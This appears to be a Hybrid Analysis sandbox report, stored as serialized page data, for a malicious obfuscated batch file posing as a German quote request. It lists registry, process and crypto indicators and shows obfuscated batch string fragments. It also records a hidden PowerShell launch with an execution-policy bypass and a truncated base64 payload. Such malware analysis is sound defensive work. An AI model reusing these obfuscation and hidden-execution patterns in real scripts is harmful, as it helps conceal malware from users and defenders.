34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 6b:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T494,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 48a200216cda… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 48a200216cda…. Malware family: Trojan.Generic. Threat score 100/100. 8/24 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930"],"about":{"@type":"SoftwareApplication","name":"Angebotsanfrage_11-Aug-2026.bat","applicationCategory":["script","bat"],"identifier":"48a200216cdaa3eb89f8a53dff18616f9b9fe45ed8eda50f11a676375cc4c930","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":8,"total":24},"behavioralIndicators":{"malicious":10,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T416,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp")37:T601,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\CURVER") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELLEX\ICONHANDLER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELLEX\ICONHANDLER") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE\SHELLEX\ICONHANDLER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE\SHELLEX\ICONHANDLER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\DOCOBJECT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\DOCOBJECT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SYSTEMFILEASSOCIATIONS\.EXE\DOCOBJECT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE\DOCOBJECT")38:Ta0a,"cmd.exe" queried SystemProcessInformation at 00000000-00001272-00000C15-1093032171 [PID: 1272] "cmd.exe" queried SystemProcessInformation at 00000000-00001272-00000C15-1093039768 [PID: 1272] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1094440218 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1094448426 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1095696322 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1095704744 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1096424398 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1096432304 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1096751654 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1096759871 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1097046934 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1097054878 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1098157943 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1098601360 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1098610021 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1098952522 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1098960870 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1099953975 [PID: 6840] "powershell.exe" queried SystemProcessInformation at 00000000-00006840-00000C15-1099961963 [PID: 6840] "cmd.exe" queried SystemProcessInformation at 00000000-00007156-00000C15-1100546596 [PID: 7156] "cmd.exe" queried SystemProcessInformation at 00000000-00007156-00000C15-1100554927 [PID: 7156] "powershell.exe" queried SystemProcessInformation at 00000000-00003236-00000C15-1101350559 [PID: 3236] "powershell.exe" queried SystemProcessInformation at 00000000-00003236-00000C15-1101357761 [PID: 3236] "powershell.exe" queried SystemProcessInformation at 00000000-00003236-00000C15-1102579566 [PID: 3236] "powershell.exe" queried SystemProcessInformation at 00000000-00003236-00000C15-1102587874 [PID: 3236]39:T664,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Command line contains long Base64-encoded string Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains reference to crypto DLLs Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to encrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - PowerShell with Base64 encoding3a:T163a,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001272) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001272) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006840) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acd054ea010000000000000000000051edeb3ef97f000000000000ea010000000000000000000032d9086f4c7c00002a00000000000000006d3354ea0100008feceb3ef97f0000e0acd054ea010000e0acd054ea010000000000000000000000000000f97f0000ffffff7f8eef000000000000000000000000000000000000d8cec454ea0100002a0000000000000069c37d54ea0100003100000000000000f403000000000000f8030000000000001100011000000000d0d34762bd00000003a3f03cf97f0000d0d34762bd00000000000000000000002b00000000000000000000000000000020b08354ea010000b43f8254ea010000e0cec454 (UID: 00000000-00006840) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000004f3aea0100000b8ee93ef97f000000004f3aea01000002000000f97f00003800000000000000400000000000000030034f3aea010000c8e33c63bd00000001e43c63bd00000003000000000000000100000000000000160000000000000020100b3aea010000000000000000000000000b3aea01000048dafe55ea01000000000000000000002400000001000000000000000000000080000000000000000400000000000000000000000000000078f3fe55ea01000004000000000000003800000000000000f098ef3cf97f00003800000000000000380000000000000040e53c63bd000000c00c2407f97f000000000000 (UID: 00000000-00006840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0d522f97f000007000000000000000000000000000000010000000000000090994f3aea010000000000000000000050de6454ea0100004c98ef3cf97f000040056554ea010000b3ce1a07f97f000000e26454ea010000004fd522f97f0000d0b0d522f97f00000000000000000000000000000000000000e26454ea01000090994f3aea010000d0096554ea01000098e53c63bd0000004c98ef3cf97f0000010000000000000098e53c63bd000000d0096554ea01000000e26454ea010000010000000000000002bc1a07f97f0000e0e36454ea010000a03b6354ea010000feffffff040000007df0d422f97f0000f0096554 (UID: 00000000-00006840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000090994f3aea010000000000000000000050de6454ea0100004c98ef3cf97f000040016554ea010000b3ce1a07f97f0000b0e06454ea010000384fd522f97f0000d0b0d522f97f000000000000000000000000000000000000b0e06454ea01000090994f3aea010000d0096554ea01000090e53c63bd0000004c98ef3cf97f0000010000000000000090e53c63bd000000d0096554ea010000b0e06454ea010000010000000000000002bc1a07f97f00000000000000000000a03b6354ea010000e0e3645404000000feffffffffffffff90994f3aea0100007df0d422f97f000000000000 (UID: 00000000-00006840) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000008d29982df97f000000000000000000000000000000000000f8a23c63bd0000001b8008000000000008a33c63bd0000001b80080000000000c0a33c63bd000000580600000000000050aa3c63bd0000001800000000000000180000000000000000000000000000001800000000000000f122982df97f0000a0aa3c63bd000000f122982df97f000000000000000000001d0c00000000000050aa3c63bd000000260c00000000000050aa3c63bd000000180000000000000048aa3c63bd00000000000000000000000000000000000000ce7b4822f97f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006840)3b:T5e6,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00006840) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00003236) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00002148) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00002684)3c:T5f3,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")3d:Tcd4,Found string "=%windir:~1,0%"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=%ProgramData:~9,0%"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=%ComSpec:~8,0%"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=%ComSpec:~6,0%"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=%TEMP:~4,0%"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=%windir:~3,0%"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=y45@c*HGp~ji9EUln7_Fzr#t/8"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string ":~6,1!"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.OREUln7_Fzr#t/8Qa+k?BJqYKmdVLg3xbevT1Z:o2-PfCS0MuwhXD.ORy45@c*HGp~ji9"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!kSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@E_2R0dLaHsAxinvroE_2R0dLaHsAxinvroQtgOI?#.~/6VUD-qKkSb5fp3TYP8JN+mMjwyZh7zuXB:G4W9c*lCF@"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!hWfaC4u~B.RDP"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!m90xG+~1tW@-H*j2gnDN3BkFbpd.ue_JwLcYsOqaMUo5RfrvTJwLcYsOqaMUo5RfrvTKZA/IPShzl6:y4X#?78EiCm90xG+~1tW@-H*j2gnDN3BkFbpd.ue_"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=hQJz0GlSs/LXOt92"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!c+FKIZH@ng_?V:fMjYkRN-8y7AdxCvq1m4*D5~6a3bow#rEipePxCvq1m4*D5~6a3bow#rEipePhQJz0GlSs/LXOt92c+FKIZH@ng_?V:fMjYkRN-8y7Ad"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=I-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHShYznJFYz"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string ":~28,1!"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!nJFI-u*sLgaKZ2:lw7vj9@#mcAoVQEP+WT5Op.XGf~0BCUreb3R6yqx8id1/_?tN4DkMHSh"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!T.BWOC@lhw91s:Loe?6q~MH*t8iV7JaE#r4"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=+oYX-7PwWh_1EGum~52BnNyCa.J@HUMK*kTf4IVijQA3t"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string ":~23,1!"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!zZx9RSD/#0qdlc?rFLgvse6b:pOEGum~52BnNyCa.J@HUMK*kTf4IVijQA3tzZx9RSD/#0qdlc?rFLgvse6b:pO+oYX-7PwWh_1"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "!-4kh3jPtKfU:6+ed_.AJa@CoNXuRicwV9vnSgOQEl-4kh3jPtKfU:6+0bHr5Dq7?zm#TpB1L*/x8W~FyM2G"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string "=f5cvwaj@6pJZi0/ItYlunSXLKHBzoGW?VP14RQ*+_mNhFC.q7xbs2T#A8OEkg-Me3dyZi0/ItYlunSXLKHBzoGW?VP14RQ*+"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat") Found string ":~11,1!"set "" (Indicator: ""set "; File: "Angebotsanfrage_11-Aug-2026.bat")3e:T477,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp")3f:T1400,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006840-00000C17-1097823289 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006840-00000C17-1097862266 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006840-00000C17-1098493284 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006840-00000C17-1098725004 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006840-00000C17-1099522779 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007156-00000C17-1100747757 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003236-00000C17-1104201424 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003236-00000C17-1104667558 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003236-00000C17-1105156216 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003236-00000C17-1105410137 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003236-00000C17-1106264586 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003236-00000C17-1106394042 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003236-00000C17-1106434809 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003236-00000C17-1106760231 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003236-00000C17-1107091689 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll" at 00000000-00003236-00000C17-1107245914 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll" at 00000000-00003236-00000C17-1107260830 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004252-00000C17-1126747495 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002148-00000C17-1129904568 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002148-00000C17-1130240191 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002148-00000C17-1130819153 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002148-00000C17-1131070803 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002684-00000C17-1135811536 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002684-00000C17-1136037749 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002684-00000C17-113642617040:T5dd,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB")41:T62a,"cmd.exe" called "CreateProcessW" with parameter "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABxAD0AWwBjAGgAYQByAF0AMwA0ADsAJABhAD0AJwAvAGMAIAAnACsAJABxACsAJABlAG4AdgA6AF8AUg" - (UID: 00000000-00001272), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\system32\cmd.exe" /c "C:\Angebotsanfrage_11-Aug-2026.bat" 8ce0e0362e" - (UID: 00000000-00006840), "cmd.exe" called "CreateProcessW" with parameter "powershell -W hIDDEn -NoNI -noP -EP BYPaSS -e "JABzAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOg" - (UID: 00000000-00007156) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" 